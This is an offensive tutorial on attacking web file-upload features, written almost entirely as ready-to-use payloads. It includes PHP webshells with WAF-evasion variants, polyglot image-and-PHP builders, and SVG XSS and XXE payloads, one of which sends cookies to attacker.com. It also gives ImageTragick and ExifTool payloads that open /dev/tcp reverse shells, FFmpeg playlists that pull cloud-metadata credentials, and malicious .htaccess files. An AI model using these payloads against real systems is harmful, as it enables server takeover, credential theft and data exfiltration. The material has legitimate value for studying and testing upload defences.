The File Upload Kill Chain
File upload vulnerabilities are among the most impactful in web security because successful exploitation typically leads directly to Remote Code Execution on the web server. The full attack chain involves three phases: bypassing upload validation to get a malicious file accepted by the server, ensuring the file reaches a location where it can be executed, and then triggering execution.
Upload validation exists at multiple layers (content-type header, file extension, magic bytes, actual content analysis), and each layer must be analyzed independently — a bypass at one layer doesn't guarantee execution if other layers still block it. The attack methodology is systematic enumeration of each protection layer.
MIME Type Bypass
# MIME type validation only checks the Content-Type header — trivially bypassed
# Change Content-Type in the upload request:
# Original upload request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php <-- blocked!
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Bypass: change Content-Type to image/jpeg:
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg <-- accepted!
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Server checks Content-Type header (image/jpeg) = allows it
# But serves the file as PHP because extension is .php
# Multiple MIME type variations to try:
image/jpeg
image/png
image/gif
image/webp
application/octet-stream
Extension Bypass Techniques
# Extension blacklist bypass (avoid .php, .php3, .php4, .php5, .phtml):
# PHP-executable extensions not commonly blacklisted:
shell.php5
shell.php7
shell.phtml
shell.pht
shell.pHp # case variation (Windows is case-insensitive)
shell.PHP
# Apache mod_alias double extension:
shell.php.jpg # Apache may execute as PHP if configured incorrectly
shell.jpg.php # PHP executed based on LAST extension
shell.php%20 # space character (URL-encoded) — server may strip it
shell.php. # trailing dot — some servers strip it
shell.php;.jpg # semicolon delimiter on some servers
# Null byte injection (historic, mostly patched but try on older systems):
shell.php%00.jpg # URL-encoded null byte
# Server sees: shell.php (truncated at null), validates as .jpg, stores as .php
# IIS-specific (ASP/ASPX):
shell.asp;.jpg
shell.aspx;.jpg
shell.cer # sometimes executed as ASP by IIS
shell.cdx
shell.htr
# JSP (Java):
shell.jsp
shell.jspx
shell.jsw
shell.jsv
shell.jspf
# ColdFusion:
shell.cfm
shell.cfml
shell.cfc
Polyglot Files — Simultaneously Valid in Two Formats
A polyglot file is valid in two different formats at the same time. A JPEG/PHP polyglot passes magic bytes validation as a JPEG while containing functional PHP code that executes when the server processes the file as PHP. This bypasses both content-type and magic bytes validation:
# Create a JPEG/PHP polyglot:
# JPEG magic bytes: FF D8 FF
# PHP code: <?php system($_GET['cmd']); ?>
# Method 1: Append PHP code to valid JPEG
cp real_image.jpg polyglot.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg
# Method 2: Embed PHP in JPEG EXIF data
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real_image.jpg -o shell.php.jpg
# The resulting file:
# Starts with: FF D8 FF E0 ... (valid JPEG header)
# Contains: <?php system($_GET["cmd"]); ?> in EXIF comment
# PHP interpreter ignores JPEG binary data before <?php tag
# Image validators see valid JPEG structure
# Method 3: GIF/PHP polyglot (classic):
# GIF magic bytes: GIF89a
# PHP short open tags work:
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php
# GIF89a is valid GIF header followed by PHP code
# PHP ignores the GIF89a prefix — executes everything from <?php
# Validate the polyglot:
file shell.php # GIF image data, version 89a
php -r "include('shell.php');" # executes the PHP code
# PNG/PHP polyglot using zlib chunks:
# PNG has a specific chunk structure with CRC checksums
# Embed PHP in tEXt or iTXt chunks which are not validated by most parsers
python3 -c "
import zlib, struct
def create_chunk(chunk_type, data):
c = chunk_type + data
return struct.pack('>I', len(data)) + c + struct.pack('>I', zlib.crc32(c) & 0xffffffff)
png_header = b'\\x89PNG\\r\\n\\x1a\\n'
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0) # 1x1 RGB PNG
ihdr = create_chunk(b'IHDR', ihdr_data)
# Embed PHP in tEXt chunk:
text_data = b'Comment\\x00<?php system(\\$_GET[\"cmd\"]); ?>'
text = create_chunk(b'tEXt', text_data)
idat = create_chunk(b'IDAT', zlib.compress(b'\\x00\\xff\\xff\\xff'))
iend = create_chunk(b'IEND', b'')
with open('polyglot.php.png', 'wb') as f:
f.write(png_header + ihdr + text + idat + iend)
print('Polyglot PNG/PHP created')
"
SVG XSS and XXE
SVG (Scalable Vector Graphics) files are XML documents that support JavaScript event handlers, making them powerful XSS vectors when served with appropriate MIME types. Additionally, SVG's XML nature allows XXE injection:
# Basic SVG XSS payload:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle cx="50" cy="50" r="50" fill="red"/>
</svg>
# SVG with embedded script:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
<rect width="100" height="100" fill="blue"/>
</svg>
# For XSS to execute: server must serve SVG with Content-Type: image/svg+xml
# NOT with Content-Type: image/png or application/octet-stream
# Check: curl -I https://target.com/uploads/test.svg
# SVG XXE for file disclosure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
# SVG XXE for SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&ssrf;</text>
</svg>
# SVG with data: URI to embed credentials exfiltration:
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/?c='+document.cookie)"></svg>
# Check if SVG upload is possible:
# 1. Upload .svg file
# 2. Check if it's served as image/svg+xml
# 3. Visit the upload URL directly — does the JavaScript execute?
ImageMagick Exploits — ImageTragick
CVE-2016-3714 (ImageTragick) is one of the most impactful image processing vulnerabilities ever discovered. ImageMagick, used in millions of applications to resize and process uploaded images, had multiple command injection vulnerabilities through its image format delegates — programs it calls to handle specific file formats:
# ImageTragick CVE-2016-3714 — MVG delegate injection
# MVG (Magick Vector Graphics) format supported URLs with side effects:
# When ImageMagick processes an image, it checks the format
# and passes it to the appropriate delegate program
# The delegate command templates were vulnerable to injection
# PoC payload (file named: exploit.mvg or exploit.gif):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl "http://attacker.com/rce)'
pop graphic-context
# Or using shell metacharacters in the image filename/URL:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id|")'
pop graphic-context
# Exploit file (save as: exploit.jpg with MVG content):
# The server processes: convert upload.jpg output.png
# ImageMagick detects format as MVG (magic bytes check)
# Executes delegate: /bin/sh -c 'curl "http://attacker.com/rce"' 2>/dev/null
# Complete ImageTragick PoC:
# exploit.jpg content:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.png'
push graphic-context
viewbox 0,0 0,0
image over 0,0 0,0 'ephemeral:/tmp/xxx'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 # ")'
pop graphic-context
pop graphic-context
pop graphic-context
# Testing for ImageTragick:
# Upload an MVG file with a DNS callback:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://imagetragick-test.YOUR_COLLAB.oastify.com/test)'
pop graphic-context
# If DNS hit received: ImageMagick processes the file = vulnerable to ImageTragick
# Ghostscript injection (related vulnerability, affects PDF/PS processing):
# Upload a file named "exploit.pdf" with PostScript:
%!PS-Adobe-3.0
/OutputFile (%pipe%id > /tmp/gs_pwned) def
Checking ImageMagick Version and Policy
# Check if server uses vulnerable ImageMagick:
# Error messages may reveal version:
# ImageMagick 6.7.x through 6.9.x = vulnerable to CVE-2016-3714
# The policy.xml fix (applied in patches):
cat /etc/ImageMagick-6/policy.xml
# Should contain:
# <policy domain="coder" rights="none" pattern="EPHEMERAL" />
# <policy domain="coder" rights="none" pattern="MVG" />
# <policy domain="coder" rights="none" pattern="MSL" />
# <policy domain="coder" rights="none" pattern="TEXT" />
# <policy domain="coder" rights="none" pattern="SHOW" />
# <policy domain="coder" rights="none" pattern="WIN" />
# Modern ImageMagick exploit testing:
# Even patched versions may be vulnerable to other issues:
# - CVE-2022-44267: PNG parsing OOB read
# - CVE-2023-34151: OOB read via SVG
# - Ghostscript delegation (if GS is installed)
FFmpeg SSRF via HLS Playlist Injection
# FFmpeg processes HLS (HTTP Live Streaming) playlists that reference segment URLs
# A malicious .m3u8 file can cause FFmpeg to make arbitrary HTTP requests:
# Malicious playlist (save as evil.m3u8):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
#EXT-X-ENDLIST
# When FFmpeg processes this for transcoding:
ffmpeg -i evil.m3u8 -vn output.mp3
# FFmpeg requests the "segment" URL (the metadata endpoint)
# Response becomes part of the output or error message
# More sophisticated: read local files via file:// URI:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///etc/passwd
#EXT-X-ENDLIST
# Or use SSRF to internal services:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://127.0.0.1:6379/ # Redis
#EXT-X-ENDLIST
# For video processing applications:
# Upload a .m3u8 file disguised as a video
# Or: embed malicious M3U8 reference in an otherwise valid video container
# Testing:
# 1. Find video upload/processing feature
# 2. Upload evil.m3u8 file
# 3. Check Burp Collaborator for outbound HTTP from server
# 4. If hit received: FFmpeg SSRF confirmed
.htaccess Upload for PHP Execution
# If uploads directory is on Apache and attackers can upload .htaccess:
# Override server configuration to execute any extension as PHP
# Malicious .htaccess file:
AddType application/x-httpd-php .jpg .png .gif .jpeg .webp
# Upload this as .htaccess to the uploads directory
# Then upload shell.jpg (a polyglot or plain PHP with .jpg extension)
# Apache now executes .jpg files as PHP in this directory
# More stealthy .htaccess:
AddHandler application/x-httpd-php .jpg
# OR (for some Apache configs):
Options ExecCGI
AddHandler cgi-script .jpg
# Alternative: force PHP execution via mod_rewrite:
RewriteEngine On
RewriteRule ^(.*)$ shell.php [L]
# Now ANY request to the uploads dir executes shell.php
# Also try these config files:
# .user.ini — PHP configuration override (works with PHP-FPM):
auto_prepend_file=/var/www/html/uploads/shell.jpg
# Any PHP page now loads shell.jpg first!
# Check if .htaccess upload is possible:
# 1. Upload a file named ".htaccess" with: AddType text/plain .php
# 2. Then upload a .php file
# 3. If .php file is returned as text: .htaccess is being processed
# 4. This confirms .htaccess uploads work
# Full attack:
# 1. Upload: .htaccess with AddType application/x-httpd-php .jpg
# 2. Upload: shell.jpg containing <?php system($_GET['cmd']); ?>
# 3. Request: https://target.com/uploads/shell.jpg?cmd=id
ExifTool Argument Injection via Filename
# CVE-2021-22204 — ExifTool arbitrary code execution via crafted image files
# The vulnerability is in ExifTool's DjVu file format parsing
# A specially crafted image can contain a malicious DjVu annotation
# that results in code execution when ExifTool processes the file
# Malicious DjVu file PoC:
# The annotation value is passed to eval() in ExifTool's Perl code
# Step 1: Create the malicious payload file:
cat <<'EOF' > payload
(metadata
(Copyright "\
" . qx{id > /tmp/exiftool_pwned} . "")
)
EOF
# Step 2: Package as DjVu:
djvumake evil.djvu INFO=0,0 BGjp=/dev/null ANTa=payload
# Step 3: Convert to another format that ExifTool will still process as DjVu:
# Or just upload evil.djvu directly if DjVu uploads are allowed
# CVE-2021-22204 with reverse shell:
cat <<'EOF' > payload
(metadata
(Copyright "\
" . qx{bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' &} . "")
)
EOF
djvumake evil.djvu INFO=0,0 BGjp=/dev/null ANTa=payload
# Also: CVE-2022-23935 — command injection via filename argument to ExifTool
# File named: |id.jpg (pipe character + command)
# If ExifTool is called via shell: exiftool |id.jpg
# Shell interprets | as pipe: output of 'id' is piped to ExifTool
# Testing: upload files with special characters in filename:
# |id.jpg
# $(id).jpg
# `id`.jpg
# ;id;.jpg
PDF Upload → XSS and SSRF
# PDF files can contain JavaScript that executes in some PDF viewers:
# (Adobe Reader specifically, but Acrobat)
# Malicious PDF with JavaScript action:
# Create using Python fpdf2 or PyMuPDF:
python3 -c "
import fpdf
pdf = fpdf.FPDF()
pdf.add_page()
pdf.set_font('Helvetica', size=12)
pdf.cell(40, 10, 'Malicious PDF')
# Add JavaScript action:
# This is oversimplified; actual PDF JS embedding requires raw PDF manipulation
pdf.output('malicious.pdf')
"
# Better: create PDF with raw JavaScript action using pdf-js-add or similar:
# /AA (Additional Actions) dictionary in PDF with /O action (page open)
# JavaScript: app.alert(document.URL) - runs in Adobe Reader
# PDF with XXE for SSRF:
# PDFs that reference external resources are processed by the renderer
# Embed XML entities in PDF structure
# (Only works if PDF is rendered by XML-aware parser)
# More practical: PDF to XSS via annotation:
# Insert a URI action in a link annotation:
# /URI (javascript:alert(document.domain))
# Opens JS when user clicks the link in browser PDF viewer
# Testing PDF uploads:
# 1. Upload a PDF with embedded link to external URL
# 2. View the PDF in the browser
# 3. Click the link — if it navigates to external URL: URI actions work
# 4. Try javascript: URI in the link annotation
WAF Bypass for File Uploads
# WAF inspection of upload requests:
# WAFs look for: <?php, system(, exec(, shell_exec( in file content
# Bypass by encoding/obfuscating the PHP payload:
# Method 1: PHP short tags and string concatenation:
<? $c='sys'.'tem'; $c($_GET['cmd']); ?>
# Method 2: Encoded eval:
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
# base64 of: system($_GET['cmd']);
# Method 3: Variable functions and string splitting:
<?php $f='sys'.'tem'; $f($_GET[0]); ?>
# Method 4: PHP 8 match expression:
<?php match(true){true=>system($_REQUEST[0])};?>
# Method 5: Hex encoding:
<?php "\x73\x79\x73\x74\x65\x6d"($_GET['c']); ?>
# \x73\x79\x73\x74\x65\x6d = system
# Method 6: ASCII shellcode approach:
<?php $a=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $a($_GET[0]); ?>
# Content-Type boundary manipulation:
# Split PHP code across multiple form parts — WAF may not reassemble
------WebKitFormBoundary
Content-Disposition: form-data; name="file1"; filename="part1.txt"
<?php $x=sys
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
GIF89a;<?php $a=str_rot13('flfgrz');$a($_GET[0]);?>
# Extension bypass with alternative separators (Windows/IIS):
shell.php::$DATA # NTFS alternate data stream
shell.php::$Index_Allocation
Complete Webshell Reference
# Minimal PHP webshell:
<?php system($_GET['cmd']); ?>
# More capable — handles both GET and POST:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
# P0wny-shell (feature-rich, looks like terminal):
# Download: https://github.com/flozz/p0wny-shell
# b374k shell (password protected):
# Feature set: file manager, SQL client, command execution, reverse shell
# Interacting with uploaded webshell:
# Execute command:
curl "https://target.com/uploads/shell.php?cmd=id"
# Get reverse shell via webshell:
curl "https://target.com/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261%27"
# Upgrade to full interactive shell:
# On attacker machine: rlwrap nc -lvnp 4444
# In webshell: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
# After connection: python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z, stty raw -echo, fg, reset
File upload vulnerabilities remain among the most reliably exploitable vulnerability classes because upload functionality is complex to secure correctly — there are many validation layers, each with different bypass techniques, and the validation logic varies enormously between applications. The combination of polyglot files, .htaccess uploads, and server-side image processing vulnerabilities like ImageTragick creates a rich attack surface that rewards methodical testing.